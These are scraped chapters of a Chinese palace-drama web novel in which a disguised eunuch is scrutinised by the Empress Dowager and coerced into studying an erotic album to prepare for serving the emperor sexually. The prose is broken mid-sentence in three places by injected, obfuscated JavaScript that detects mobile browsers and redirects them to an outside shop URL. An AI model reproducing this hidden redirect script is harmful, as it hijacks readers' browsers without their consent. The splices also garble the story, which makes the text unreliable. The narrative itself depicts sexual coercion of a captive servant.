郑书意笑了笑,不置可否,目光似无意般掠过屋内侍立的众人,在低垂着头的关禧身上,停留了极其短暂的一瞬。 关禧只觉得那目光如有实质,虽只是一瞥,却能将人从里到外看透。他背上沁出一层冷汗,将头垂得更低。 “听闻皇帝前些日子,夜里来过你这里?”郑书意话题一转,语气随意。 冯媛神色不变,恭敬答道:“是。陛下那日路过,想起询问几桩宫务用度,便进来坐了坐。臣妾已将账目明细呈上,陛下看后便起驾了。” “嗯。”郑书意轻轻啜了口茶,“皇帝勤政,是万民之福。只是也要注意龙体,莫要太过操劳。你们在身边伺候的,也要多劝着些。” “臣妾谨记太后娘娘教诲。” 郑书意放下茶盏,目光再次转向书架,这次停留的时间稍长,“哀家年轻时候,也爱看些杂书。可惜如今眼神不如从前了。冯昭仪这里可有什么新进的、有趣的本子?拿来给哀家瞧瞧,解解闷。” 冯媛连忙示意楚玉。楚玉会意,快步走到书架前,小心取了几本装帧精美,看似话本游记类的书籍,双手奉上。 郑书意接过,随手翻看,似乎真的只是来找书闲聊。书斋内气氛看似松弛下来。 然而,就在楚玉退回原位时,郑书意翻书的动作一顿,抬起眼,目光再次落向关禧的方向,这次更为明确。 “那个角落站着的小太监,”郑书意声音不高,却让所有人精神一凛,“看着脸生。是新来的?” 关禧浑身一僵,心脏骤缩。 冯媛目光微闪,脸上笑容不变,温声答道:“回太后娘娘,这是臣妾宫中书斋伺候笔墨的小太监,名唤小离子。入宫有些时日了,只是平日多在书斋做事,少见天颜,故而娘娘觉得面生。” “小离子?”郑书意重复了一遍,若有所思,“抬起头来,让哀家瞧瞧。” 该来的,终究来了。 关禧深吸一口气,强迫自己镇定,缓缓抬起头,目光恭敬地落在太后胸前凤纹以下的位置。他能感觉到太后那锐利而通透的视线,像最精细的尺,丈量着他的五官,审视着他每一寸表情。 时间仿佛被拉长。 半晌,郑书意才轻轻“嗯”了一声,听不出喜怒:“模样倒是齐整。在书斋伺候,可识得字?” 关禧喉咙发干,依着楚玉教导的答案,谨慎回道:“回太后娘娘,奴才愚钝,只识得几个常用字,会写些简单数目,勉强能应付差事。” “能应付差事便好。”郑书意语气平淡,目光未移开,随口问道,“冯昭仪协理宫务,账目琐碎,你可曾出过差错?” “奴才不敢。娘娘教诲严谨,每一笔出入都需反复核对,奴才战战兢兢,唯恐有负娘娘信任。”关禧答得滴水不漏。 郑书意看了他片刻,极淡地笑了笑:“是个谨慎的。皇帝那日来,可曾问起过你?” 这话问得突然,且直指核心。关禧背上冷汗更多,脑中飞速转动,脸上竭力维持着镇定:“陛下天威赫赫,奴才卑贱,岂敢近前。那日陛下与娘娘叙话,奴才只在门外听候吩咐,未曾得见天颜。” 他一口咬定自己未近前,更未与皇帝有直接接触。这是楚玉反复强调的底线,在真正被推出去之前,绝不可主动承认或透露任何可能引起额外关注的信息,尤其是来自太后这种级别的关注。 郑书意闻言,目光在关禧低垂恭敬的脸上又停留了一瞬,那眼神深邃。随即,她移开视线,重新落回手中的书卷上,仿佛刚才那一问只是随口一提。 “嗯,守本分是好事。”她语气恢复如常,甚至带上了几分闲聊的慵懒,“冯昭仪调理下人,是越来越用心了。” 冯媛连忙谦辞:“太后娘娘谬赞,是臣妾分内之事。” 接下来,郑书意又问了冯媛几句宫中琐事,态度始终温和,就像一位关心晚辈的寻常长辈。约莫一盏茶后,她便起身,言说永寿宫还有事,起驾离去。 冯媛率众恭送。 直到太后的仪仗彻底消失在宫道尽头,书斋内的空气才重新开始流动。 关禧依旧站在原地,腿有些发软。刚才那番问答,看似平淡,实则凶险。太后那双眼睛,给他的压力,竟不亚于那晚面对皇帝。 冯媛走回主位坐下,端起已然凉透的茶,用杯盖轻轻拨弄着水面。楚玉垂手立在一旁,面无表情。 “太后娘娘今日,倒是好兴致。”冯媛忽然开口,声音不大,像是自言自语。 楚玉低声道:“永寿宫近日得了江南新贡的云锦和香茗,太后娘娘或许是来与娘娘分享。” 冯媛轻笑一声,放下茶盏,那笑意却未达眼底:“分享是假,敲打是真。玉芙宫风头太盛,皇后那边又过于沉寂,太后这是提醒六宫,谁才是真正定盘星呢。”她顿了顿,目光瞥向垂首肃立的关禧,“顺带,也来看看咱们承华宫新添的这抹景致。” 关禧心头一凛。 “不过,你方才答得还算稳妥。”冯媛语气缓和了些,“记住,在宫里,有时候,没被记住,才是最大的幸运。尤其是在太后面前。” “奴才谨记娘娘教诲。”关禧躬身。 “下去吧。”冯媛挥挥手。 42.第 42 章 关禧躬身退出了书斋,冯媛那句“没被记住才是最大的幸运”犹在耳边,混合着太后那洞察一切的目光,让他心头沉甸甸的。 看似有惊无险,但他知道,自己这张脸,还有冯昭仪宫里书斋红人的身份,怕是已经落入某些大人物的眼中。 低调?只怕越来越难。 他沿着熟悉的路径走回自己位于西厢的小屋,想独自静一静,消化今日这番心惊。但刚转过廊庑,还没到住处,就瞧见小太监顺子正伸长脖子朝他这边张望,见他出现,眼睛一亮,小跑着迎了上来。 “离子哥!你可回来了!”顺子脸上堆着热切又带着点讨好的笑,“膳房那边今日有难得的肉臊子浇头,去晚了可就只剩清汤寡水了!陈公公方才还问起你呢,我说你去书斋伺候了,他点点头没说什么,但咱们赶紧去吧?” 关禧看着顺子这张不过十四五岁,还带着点稚气的脸,想起刚到承华宫时,对方虽不至于像曹旺那伙人般欺辱他,却也多是漠然旁观,客气而疏远。何时起,开始叫上“哥”,开始主动通风报信,甚至带上了这般明显的巴结? 他知道为什么。冯昭仪的书斋,太后突如其来的注目,还有他自己这副被精心调养后愈发惹眼的面孔。在这深宫里,哪怕只是太监堆里,风向也变得快。 胃里适时传来一阵空虚的鸣响。他确实饿了。 “嗯,走吧。”关禧淡淡应了一声,脸上没什么表情,率先朝着后院膳房的方向走去。 顺子连忙亦步亦趋地跟上,嘴里还絮叨着,“离子哥你今日在书斋伺候,可瞧见太后娘娘了?天爷,那可是太后!听说太后娘娘年轻时就了不得,模样气度……” 关禧没接话,加快了些脚步。顺子识趣地住了嘴,但眼神里的羡慕藏不住。 承华宫后院的膳房区域比前殿喧嚣得多,弥漫着油烟,食物和许多人聚集的气味。天色已暗,几盏昏黄的气死风灯挂在棚屋檐下,将攒动的人影拉得忽长忽短。 关禧一出现,原本嘈杂的棚屋内,声音诡异地低了一瞬。不少目光或明或暗地扫了过来,落在他身上。那些目光里有好奇,有打量,有估量,也有掩饰不住的嫉妒。他穿着与众人一般的靛青色太监服,但浆洗得干净挺括,衬得人越发修长。几日未见,他似乎又挺拔了些许,脸色虽仍偏白,却不再是病态的苍白,而是一种玉质的润泽。眉眼间的精致被昏黄灯光柔化,更显出一种与周遭粗糙环境格格不入的清冷。 他目不斜视,径直走向打饭的窗口。掌勺的太监看到他,原本耷拉的眼皮掀了掀,没像往常那般爱答不理,勺子往那盛着肉臊子的盆里多探了探,舀了结结实实一勺,扣在关禧碗里的杂烩菜上,肉末和油花明显比别人多了不少。 “谢公公。”关禧低声道谢,语气平淡。 那太监从鼻子里“嗯”了一声,眼神在他脸上打了个转,又飞快移开。 关禧端着沉甸甸的碗,转身想找个角落的桌子。往日他多是独自一人。但今日,他刚走了两步,就被拦住了。 “哎哟,离子兄弟!这儿有位置,这儿宽敞!”一个略显尖细的嗓音响起。 关禧抬眼,是刘宝,一个在承华宫负责洒扫庭院有些年头的老油子太监,平日里跟陈立德走得近,也算有点小脸面。此刻他正坐在一张靠里的桌子旁,旁边还坐着两三个平日与他交好的太监。那张桌子确实宽敞,平日里也多是他们那伙人占据。 刘宝脸上堆着笑,眼角的皱纹都挤在了一起,一边说一边用手拍了拍身旁的空位。他旁边那几个太监也纷纷附和,脸上都带着热络。 “是啊离子,一个人吃多没意思,过来一起,热闹!” “就是就是,听说你今天在太后面前都露了脸?快给咱们讲讲,太后娘娘凤颜如何?” 关禧脚步顿了顿。他知道这是避不开了。在这宫里,捧高踩低是常态,他如今在旁人眼里,显然是那高起来的。拒绝了,反显得不识抬举,也容易落下话柄。 他略一颔首,端着碗走了过去,在刘宝让出的位置上坐下。顺子见状,也麻溜地挤到了桌子另一边。 “离子兄弟现在可是咱们承华宫的头一份儿了,”刘宝夹起一筷子菜,眼睛瞄着关禧碗里的肉臊子,语气艳羡,“书斋的差事清贵,又能常在娘娘跟前走动。瞧瞧,连膳房的王老勺都给你多打肉!咱们这些人,可是羡慕不来哟。” 旁边一个瘦高太监立刻接口:“可不是嘛!离子兄弟这气度,这模样,一看就不是池中之物。将来要是得了陛下青眼,飞黄腾达了,可别忘了咱们这些老兄弟啊!”这话半是恭维半是试探,眼神里藏着一丝不易察觉的酸意。 关禧慢条斯理地掰开手里的黄面馍馍,就着菜汤咬了一口,咀嚼咽下,才抬起眼,目光平静地扫过桌上几人:“刘公公说笑了,我不过是个听差跑腿的,靠着娘娘和陈公公提点,勉强不出错罢了。至于陛下……”他顿了顿,声音更淡了些,“天威难测,岂是我们做奴才的能妄加揣测的。各位公公都是宫里的老人,比我懂得多,我还要向各位多请教规矩才是。” 他这番话说得不卑不亢,既撇清了飞黄腾达的敏感话题,又把姿态放低,将功劳推给冯昭仪和陈立德,顺带捧了在座的一下。 刘宝几人听了,脸上的笑容更真切了些,心里却暗自嘀咕:这小子,看着年纪不大,说话倒是有几分章法,难怪能入娘娘的眼。 “请教不敢当,互相帮衬罢了。”刘宝打着哈哈,话题一转,“说起来,离子兄弟这身子骨是越发好了,脸色也红润。看来张太医的方子果真灵验。娘娘对你是真上心啊。” 这话又引到了关禧的相貌和受宠上。 旁边另一个矮胖太监咂咂嘴,盯着关禧的脸,啧啧两声:“要我说,离子兄弟这长相,真是……啧,宫里多少小主怕是都比不上。也难怪王公公当初那般费心挑进来。这要是放在前朝,指不定就是个……” “咳咳!”刘宝重重咳嗽一声,打断了矮胖太监后面可能更出格的话,瞪了他一眼,“吃你的饭!胡咧咧什么!” 那矮胖太监也自知失言,缩了缩脖子,埋头扒饭。 关禧握着筷子的手紧了紧,指尖微微泛白,但脸上没什么表情,仿佛没听见那句冒犯又带着某种暧昧揣测的话。他低下头,专注地吃着碗里的食物。 棚屋内恢复了嘈杂,各桌都在议论着白日太后驾临的见闻,或是宫里最新的传闻。关禧这桌,刘宝等人见他似乎不愿多谈自己,便也识趣地转移了话题,说起了各宫的闲话。 “听说玉芙宫那位,近日害喜害得厉害,御膳房变着花样做,还是吐得厉害。”瘦高太监压低声音。 “能不金贵么?肚子里揣着龙种呢。”矮胖太监嘟囔,“赏赐跟流水似的往玉芙宫送,连带着徐昭容娘家都跟着沾光,她兄长前几日好像又升了半级?” “哼,烈火烹油,未必是福。”刘宝老神在在喝了口菜汤,“宫里孩子……是那么容易养大的?盯着的人多了去了。” 这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005609|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意有所指,桌上几人心照不宣地交换了个眼神。 关禧默默听着,不插话,将最后一点馍馍塞进嘴里,又端起碗,菜汤喝得一滴不剩。 他放下碗,拿起帕子擦了擦嘴,准备起身告辞。 就在这时,棚屋门口光线一暗,几个身影晃了进来。为首一人,身形粗壮,脸上带着横肉,正是许久不见的曹旺。他身后跟着两个平日里与他一同欺压过低等太监的跟班。 曹旺的脸色有些阴沉,目光在棚屋内一扫,很快就锁定了关禧这一桌。他的视线在关禧脸上停顿了一下,那眼神复杂,混合着不甘,嫉恨,还有一丝难以掩饰的惊疑,显然,他也看出了关禧的变化。 刘宝等人看到曹旺,脸色都有些不自然,声音也低了下去。曹旺虽然因为之前的事被楚玉敲打过,禁足了一段时间,但余威犹在,尤其是对他们这些底层太监来说。 曹旺带着人,径直朝着关禧这桌走了过来。棚屋内的喧闹声又低了几分,许多目光悄悄投来,带着看好戏的意味。 刘宝连忙站起身,赔着笑:“曹公公,您也来用膳?这边坐,这边坐……” 曹旺没理会刘宝的殷勤,他停在桌前,目光落在刚刚放下碗神色平静的关禧身上,扯了扯嘴角,露出一个算不上笑的表情:“小离子,好久不见啊。听说你现在混得不错?连太后娘娘都惊动了?” 关禧站起身,与曹旺平视。他如今身量抽高,虽不及曹旺粗壮,但站直了,气势上竟不输多少。他微微躬身,礼数周全,“曹公公。我只是奉命当差,不敢说混。太后娘娘驾临,是娘娘的恩典,小的唯有惶恐,不敢有丝毫怠慢。” 一番话说得滴水不漏,恭敬却疏离。 曹旺盯着他看了几秒,嗤笑一声:“行啊,长进了。看来书斋的墨水没白沾,说话都一套一套的。”他上前一步,距离关禧更近,压低声音,“不过,别忘了自己是什么东西。爬得再高,有些根儿是变不了的。小心……摔下来,更疼。” 关禧眼皮都没抬一下,只垂眸看着地面:“谢曹公公提点。我时刻不敢忘本。” 曹旺见他这副油盐不进的样子,心头火起,但想起楚玉的警告,还有关禧如今明显不同的地位,终究没敢再像以前那样动手动脚。他重重哼了一声,猛地撞开关禧的肩膀,带着跟班走向打饭窗口,一路骂骂咧咧。 棚屋内的气氛这才重新松动。 刘宝等人松了口气,看向关禧的眼神又多了几分不同。能这样不软不硬地顶住曹旺,这小子,确实和以前那个任人揉搓的小离子不一样了。 关禧没再看曹旺那边,对刘宝几人微微颔首:“几位公公慢用,我先回去了。” 说完,他端起自己的空碗筷,走向回收处,步伐平稳,背影挺直。 走出膳棚,秋夜的凉风扑面而来,带着远处飘来的隐约桂花香气。 关禧深吸一口气,又缓缓吐出。 攀附,嫉恨,试探,威胁……这就是他如今身处的环境。冯昭仪的棋子,太后眼中的景致,同僚眼里的红人,曹旺之流的眼中钉。 往上爬?楚玉说得轻巧。 这条路,每一步都踩着荆棘,四周环伺着豺狼。 不过…… 至少,今晚的饭里,肉多了些。 他拢了拢衣襟,踏着青石板上被灯火拉长的影子,一步步,走回那间暂时属于他的小屋。 明天,太阳照常升起。 而他要学的,要面对的,只会更多。 43.第 43 章 沐房的湿气还黏在鬓角,带着廉价澡豆的涩味,被夜风一吹,凝成细微的凉意,顺着颈窝往单薄的衣领里钻。关禧提着空木盆,踩着青石板上的月色,惨白,清冷,将承华宫西厢这片僻静角落照得轮廓分明,也照得他形单影只。 然后,他看见了那盏灯。 不是廊下固定悬挂的气死风灯,而是一盏提在手里的六角琉璃宫灯,暖黄的光晕朦朦胧胧,在秋夜沁骨的寒凉中圈出一小团温存的领域。灯下垂着一只素手,手指纤长,稳稳提着灯柄。手的主人披着一件深青色的斗篷,兜帽未戴,露出楚玉那张在灯影下半明半昧的脸。她另一只手,提着一个黑漆螺钿的食盒,不大,样式却精巧。 她就那么站在他小屋的门前,像是等候多时,又像是刚刚到来。夜风吹动她斗篷的一角,露出底下淡青色的宫装裙摆,与她身后斑驳的门板,檐下干枯的藤蔓形成一种奇异的对照,她是这片陈旧死寂里,唯一流动而带着温度的存在,尽管那温度,可能也只是灯焰的错觉。 关禧的脚步在离她几步远的地方停下。木盆的边缘抵着掌心,传来粗砺的触感。他看着她,没说话,喉结滚动了一下。 楚玉的目光也落在他身上,从头到脚,很平静地扫过。他刚洗过的头发还湿着,未曾完全绞干,几缕碎发贴在额角和颈侧,在琉璃灯的光晕下黑得润泽。身上是那套干净的靛青色太监常服,因为沐浴后匆忙穿上,衣带系得有些松散,领口微微敞着,露出一小截同样被水汽浸润过,过分白皙的锁骨。脸上被热水蒸出的红晕已褪去大半,恢复成一种玉质的冷白,眉眼在灯下越发清晰,那股介于少年与青年之间模糊了性别的精致感,在夜色里无声弥漫。 “回来了。”楚玉先开口,声音不高,被夜风吹得有些飘忽。 关禧点点头,算是回应。他往前走了几步,又停下,目光落在她手中的食盒上。 “顺路去了趟小厨房,新做的枣泥山药糕,火候过了些,弃之可惜。”楚玉的语气平淡得像在陈述一件与己无关的公事,提着食盒的手抬了抬,“你夜里若看书饿了,可以垫一垫。” 枣泥山药糕。不是御膳房赏下来的精致点心,而是承华宫小厨房自己捣鼓的东西。火候过了?关禧不太信。楚玉做事,从来不会火候过了。 这更像是……一个理由。 一个让她可以在夜深人静时,提着灯和食盒,出现在他门口勉强说得过去的理由。 他沉默着。理智在提醒他,这或许又是某种试探,某种他尚未理解的宫廷戏码的一部分。就像之前的药,之前的教导,之前的若即若离。可胃里空落落的感觉,以及更深处某种对不一样的微弱渴求,却推着他,让他无法干脆地拒绝。 他最终还是伸出手,接过了那个食盒。 “谢谢。” 楚玉没应这句谢,目光在他接过食盒时微微蜷起的手指上停留了一瞬,随即移开,望向屋檐外那轮清冷的月亮,“太后今日问起你,虽只是随口一提,但永寿宫的眼睛,不会只看一次。” “娘娘的意思,你最近行事更需谨慎。书斋的差事照旧,但若无必要,少在人前走动。曹旺那些人,不过是秋后蚂蚱,不必理会。但要当心,有人会借着他们的嘴,传些不该传的话。” 这是在提醒他,太后可能已经留意,冯昭仪希望他暂时低调,同时防备有人借曹旺之流生事。寥寥数语,信息量却大。 “我明白。”关禧握紧了食盒的提梁。 楚玉点点头,似乎就该转身离开了。可她站着没动,琉璃灯的光晕在她脸上摇曳,让她惯常冷冽的眉眼柔和了少许,也让她眼底那些深不见底的东西,更加难以捉摸。 夜风更凉了些,卷起地上的落叶,发出沙沙的轻响。 半晌,她忽然极轻地问了一句,声音低得几乎要被风吹散:“那首诗……独钓寒江雪的下一句,是什么?” 关禧愣住了,完全没料到她会在这时候,突然提起这个。那首《江雪》只有四句,哪来的下一句?她是在问原诗的后续,还是另有所指? “没有下一句。千山鸟飞绝,万径人踪灭。孤舟蓑笠翁,独钓寒江雪……就这些了。” “就这些了?”楚玉轻轻重复,像是品味着这几个字,“独钓寒江雪,然后呢?雪会停吗?那蓑笠翁,钓到了什么?还是就一直那么钓下去?” 这问题太过怪异,超出了诗词本身,甚至带着点哲学般的飘渺。关禧答不上来,他当初想起这首诗,只是觉得意境孤绝,贴合心境,何曾想过然后。 “我不知道。”他老实说,“或许……雪会停,或许不会。钓没钓到,也只有那翁自己知道。” 楚玉听了,唇角弯起一个极淡弧度,转瞬即逝,“是啊,只有自己知道。”她低语,目光再次落回关禧脸上,这次停留的时间稍长,“在这宫里,很多时候,也就是这样。独钓寒江雪。钓得到是造化,钓不到……也得继续钓着。” 她的话里藏着太多东西,关禧似懂非懂。 楚玉不再多言,提起宫灯,转身欲走。 “楚玉。”关禧叫住她。 楚玉脚步一顿,侧过半边脸,琉璃灯的光映亮她优美的下颌线条。 关禧举起手中的食盒,声音比刚才稳了些:“这个……真的只是火候过了?” 楚玉静默了一息,夜风拂动她鬓边的碎发。 “不然呢?”她反问,语气听不出情绪,“难不成,还是特意为你做的?” 说完,她不再停留,提着那盏暖黄的宫灯,走进了沉沉的夜色里。光影摇曳,渐行渐远,最终消失在廊庑拐角,只留下满地清霜,和站在原地提着食盒有些发怔的关禧。 他低头看了看手中精巧的食盒,又抬头望了望楚玉消失的方向。鼻尖似乎还能嗅到一丝极淡的,不属于糕点的冷香。 站了片刻,他才转身,用肩膀顶开虚掩的房门,走了进去。 屋内没有点灯,只有窗外月色渗入,勾勒出简陋家具的轮廓。他将木盆放在墙角,食盒搁在唯一的那张旧木桌上。 迟疑了一下,他还是打开了食盒盖子。 里面整齐码放着四块枣泥山药糕,不是想象中的焦黑或干硬,是一种温润的米白色,点缀着深红的枣泥馅心,小巧精致,散发着淡淡的枣香和山药清甜的气息,丝毫没有火候过了的痕迹。 关禧拈起一块,触手微温,松软适度。他咬了一小口,枣泥的甜糯和山药的粉糯在口中化开,味道恰到好处,甚至比他之前吃过的一些赏赐点心更合口。 他慢慢地吃着,一块糕点很快下肚。胃里暖和起来,连带这间冰冷的小屋,也多了点微不足道的暖意。 他走到窗边,推开一条缝隙。夜风灌入,吹散糕点的甜香,也吹醒了他有些恍惚的思绪。 楚玉的话,糕点的温度,太后审视的目光,曹旺不甘的眼神,刘宝等人的巴结,冯昭仪深不见底的棋盘……所有碎片在脑海中翻涌。 “独钓寒江雪……”他喃喃念道。 然后呢? 他不知道。 * 那夜之后,又是几日过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“本宫前日与陛下请安时,陛下提起,宫中近来沉闷,想寻些解闷的新鲜玩意儿。”冯媛缓缓开口,语气闲适得像在聊家常,“本宫便想起,你入宫也有些时日了,身子也养得差不多了。该学的规矩,该懂的事,总不能一直耽搁着。” 关禧的背脊几不可察地绷紧了。来了。 冯媛的目光在他脸上停留,“陛下日理万机,难得有兴致。若是伺候的人不懂事,扫了兴致,反倒不美。” 她顿了顿,对身侧的楚玉道:“青黛,前几日让你准备的东西,可备好了?” 楚玉躬身应道:“回娘娘,已备要。” 冯媛点点头,对关禧道:“本宫让青黛寻了几本册子,里头记着些侍奉君上的规矩仪注,还有……些该懂的常识。你且拿回去,仔细看看。若有不明白的,便问青黛。她自会教你。” 说着,楚玉已走到一旁的多宝阁前,从最上层一个不起眼的格子里,取出了一个用靛蓝色布包裹的方形物件。那包裏不大,约莫两指厚,书本大小。 楚玉捧着那包裹,走到关禧面前,她的目光与他短暂相接,又迅速移开,眸色沉静无波,将包裹递了过来。 关禧看着那靛蓝色的布包,喉咙发干。他伸出双手,接过。入手不重,布料粗糙,包裹得严严实实,看不出里面是什么。 “谢娘娘恩典。” “回去好生看,仔细学。三日后,本宫要考校你。若是学得好……”冯媛勾唇,未尽之意却比明说更让人心头发寒,“本宫自会在陛下面前,为你美言几句。” “奴才定当尽心。”关禧深深躬身。 “下去吧。”冯媛挥了挥手,重新拿起那卷账册,仿佛刚才那番对话不过是个无关紧要的插曲。 44.第 44 章 关禧捧着那靛蓝色的包裹,退出了正殿。 秋日的阳光依旧灿烂,照在身上却感觉不到丝毫暖意。他低着头,快步走回西厢自己的小屋,反手将门闩上,走到桌边,将那包裹放在桌上。 靛蓝色的粗布在昏暗的光线下显得格外刺眼。他盯着它看了许久,最终,他还是伸出手,解开了系着的布结。布包展开,露出里面的东西。 是三本册子。 最上面一本,封面是普通的靛蓝色绢面,写着《内侍规仪注疏》几个工整的楷字。关禧翻开,里面确实是宫中内侍侍奉的各种规矩,仪注,进退应对之礼,字迹工整,内容详实,看起来再正常不过。 他放下这本,看向第二本。 这本册子略薄,封面是暗红色的锦缎,没有题字。他翻开,里面是手抄的文字,字迹与第一本不同,更加随意些。内容是关于龙体安康,饮食起居的注意事项,如何察言观色,如何应对天子不同情绪时的举动,甚至还有一些简单的按摩手法图示。虽也涉及贴身伺候,但仍在侍奉的范畴内,只是比第一本更具体,更私人。 关禧深吸一口气,拿起了第三本。 这本册子最薄,封面是某种深褐色的皮革,触手微凉,同样没有题字。 他翻开第一页。 不是文字。是画。 工笔细描,设色浓艳的画。画中是两个男子。虽因年代久远或保存不当,颜色有些黯淡,线条也有些模糊,但那画面传达的内容却清晰得刺眼。 姿态,动作,神情…… 关禧猛地合上册子,像被烫到一样将它扔回桌上,踉跄着后退几步,背脊撞上墙壁,才稳住身形。 那画面……太具体,太直白,太……恶心。 他闭上眼睛,可那画面挥之不去。画中人的神情,那种混合着痛苦,麻木,甚至一丝扭曲欢愉的表情…… 这就是冯昭仪要他学的常识?这就是楚玉要教他的东西? 第一本,是规矩,是体面,是遮羞布。 第二本,是技巧,是手段,是进阶。 第三本……是赤裸裸的真相,是他即将面对的,最不堪的屈辱。 冯媛用这种方式,将一切都摆在了他面前。 没有遮掩,没有委婉,就是用这最直白的方式告诉他:你的用处是什么,你该学什么,你的未来在哪里。 窗外日影西斜,最后一点光线也被暮色吞噬。 关禧就着窗外透进来的微弱天光,重新拿起了那本深褐色的皮册。 指尖冰凉,翻开。 这一次,他没有立刻合上。他强迫自己去看,去记住那些画面,那些细节。每一笔勾勒,每一处设色,每一个姿态,每一种可能发生的情形。 恶心感强烈,胃部痉挛,喉咙发紧。但他咬着牙,一页一页地翻过去。 他必须看。必须学。 因为楚玉说得对,想活着,往上爬,至少得先过了眼前这一关。如果连这都承受不了,那所谓的往上爬,活得像个人不过是痴人说梦。 不知看了多久,直到眼睛酸溫,直到那些画面即便在黑暗中也能清晰地浮现。他才放下册子,走到窗边,推开窗,深深吸了一口夜风带来的凉意。 接下来的两日,关禧将自己关在屋内。 他按时去书斋处理差事,但一旦做完,便立刻回来。他很少与人交谈,脸色比平日更苍白,眼下有着浓重的青黑。偶尔有相熟的小太监问起,他只说身子不适。 那三本册子,他看了不止一遍。 《内侍规仪注疏》他已烂熟于心。第二本关于侍奉技巧的,他也反复揣摩,那些按摩手法的图示,他甚至在无人时对着空气比划过。至于第三本……他看了第一遍后,便再也没有完整翻开过。 第三日傍晚,楚玉来了。 她依旧是一身淡青宫装,手里提着一个食盒,站在门外。 关禧打开门,看到她,没有意外。 “娘娘让我来考校你。”楚玉走进屋,将食盒放在桌上,声音平淡。 关禧关上门,站在她面前,垂着眼:“姐姐请问。” 楚玉没有立刻发问。她的目光扫过他苍白的脸,眼下明显的青黑,还有那紧抿着缺乏血色的唇。屋内没有点灯,只有窗外最后的暮色,将他单薄的身形勾勒得有些模糊。 “《内侍规仪注疏》第三卷第七条,御前奉茶,水温几何?步伐如何?视线落处?”她开始问,问题从最基础的规矩开始。 关禧对答如流,声音平稳,没有丝毫迟疑。 楚玉又问了几个关于应对天子不同情绪,不同场合下该如何言行的问题,关禧也都一一答上,条理清晰。 屋内渐渐暗下来,几乎看不清彼此的面容。 楚玉沉默了片刻,忽然问道:“若陛下让你近身伺候,宽衣解带,你当如何?” 这个问题,已经超出了前两本册子的范畴,直指核心。 关禧的呼吸一滞。昏暗中,他看不清楚玉的表情,只能听到她平静的声音。 “回姐姐,”他慢慢开口,声音有些发紧,“小的当谨遵规矩,动作轻缓,不疾不徐。解带时,手指需稳,不可颤抖。外袍褪下,需双手承接,置于一旁。中衣……需依陛下示意,若陛下未言,不可擅动。视线……当垂落,不可直视。” 这些都是第二本册子里提到过的,关于贴身侍奉的仪注。他说得机械,却完整。 楚玉继续问:“若陛下要你待寝。你当如何?” 最后两个字,她说得很轻。 关禧的指甲深深掐进了掌心,疼痛让他保持着清醒,“当顺从。依……依规矩行事。” “什么规矩?”楚玉追问。 关禧的喉咙像是被什么堵住了。那些第三本册子里的画面在脑中翻涌,带着令人作呕的细节。他张了张嘴,却发不出声音。 昏暗中,他听到楚玉极轻地叹了口气。 然后,她走近一步。两人之间的距离骤然缩短,关禧能闻到她身上那股熟悉的清冽气息,也能感觉到她目光的落处。 “回答我。”楚玉的声音近在耳畔,比刚才更低更清晰,“陛下若要你侍寝,你当如何?第一步,做什么?若陛下要你主动,你当如何?若陛下有特殊喜好,你当如何应对?画册第三页,第七页,第九页·……那些姿态,你可记住了?可能做得出来?” 每一个问题,都像一把刀子,剖开关禧勉强维持的镇定,露出里面血淋淋的恐惧和抗拒。 “我……”关禧的声音颤抖起来,“我做不到……楚玉,我……” “做不到也得做!”楚玉突然打断他,声音陡然转冷,“你以为这是儿戏?这是娘娘给你的机会,是陛下可能会临幸你的流程!你若连这都学不会,做不来,那你之前所有的忍耐,所有的调理,所有的准备,都成了笑话!” 她一把抓住关禧的手腕,力道很大,将他拽到桌边,另一只手“啪”地一声拍在桌上那本深褐色的皮册上。 “翻开!告诉我,第三页画的是什么?具体步骤如何?陛下若那样要求,你该怎么配合?” 关禧被她拽得踉跄,手腕生疼。他看着桌上那本在昏暗中更显狰狞的册子,胃里又开始翻搅。 “不……我不看……”他试图挣扎,向后退。 楚玉死死抓着他,将他按在桌边,另一只手已经粗暴地翻开了册子。昏暗中,那些暖昧浓艳的画面依稀可辨。 “看!”她命令道,声音又冷又硬,“给我看清楚!记牢了!你以为陛下会有耐心等你慢慢学?等你扭扭捏捏?你若在御前露了怯,坏了陛下的兴致,你以为会是什么下场?!” 关禧被迫看着那些画面,强烈的恶心和屈辱感让他眼前发黑,浑身发抖。他用力,挣脱了楚玉的手,向后退去,背脊撞上墙壁,发出沉闷的声响。 “我说了我做不到!”他吼道,声音因为激动而嘶哑,“我是个……我是个女人!你让我怎么去做那些……那些恶心的事?!去伺候一个男人?!楚玉,你杀了我吧!你现在就杀了我!总好过……” “女人?”楚玉逼近一步,“你现在是什么女人?你看看你自己!你有女人的身体吗?你能生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在这个过程中,保护好你自己。画册里有些姿势容易受伤,有些地方要格外注意。记住它们,避开它们。如果避不开……就忍着。但至少,要知道怎么忍,才能伤得最轻。” 关禧怔怔地看着她,眼泪流淌。 差事。只是一项差事。 多么冷酷,多么现实,又多么……有效。 是啊,如果他不再把这当成某种亲密或屈辱的仪式,而仅仅是一项为了活下去必须完成,恶心的工作呢?就像她说的,杀鸡宰鱼,倒夜香。只不过地点换在了龙床,对象换成了天子。 灵魂可以抽离吗?可以将这具身体的感知封闭起来吗? 他不知道。但他似乎……别无选择。 “我……”他开口,声音沙哑,“我试试……” 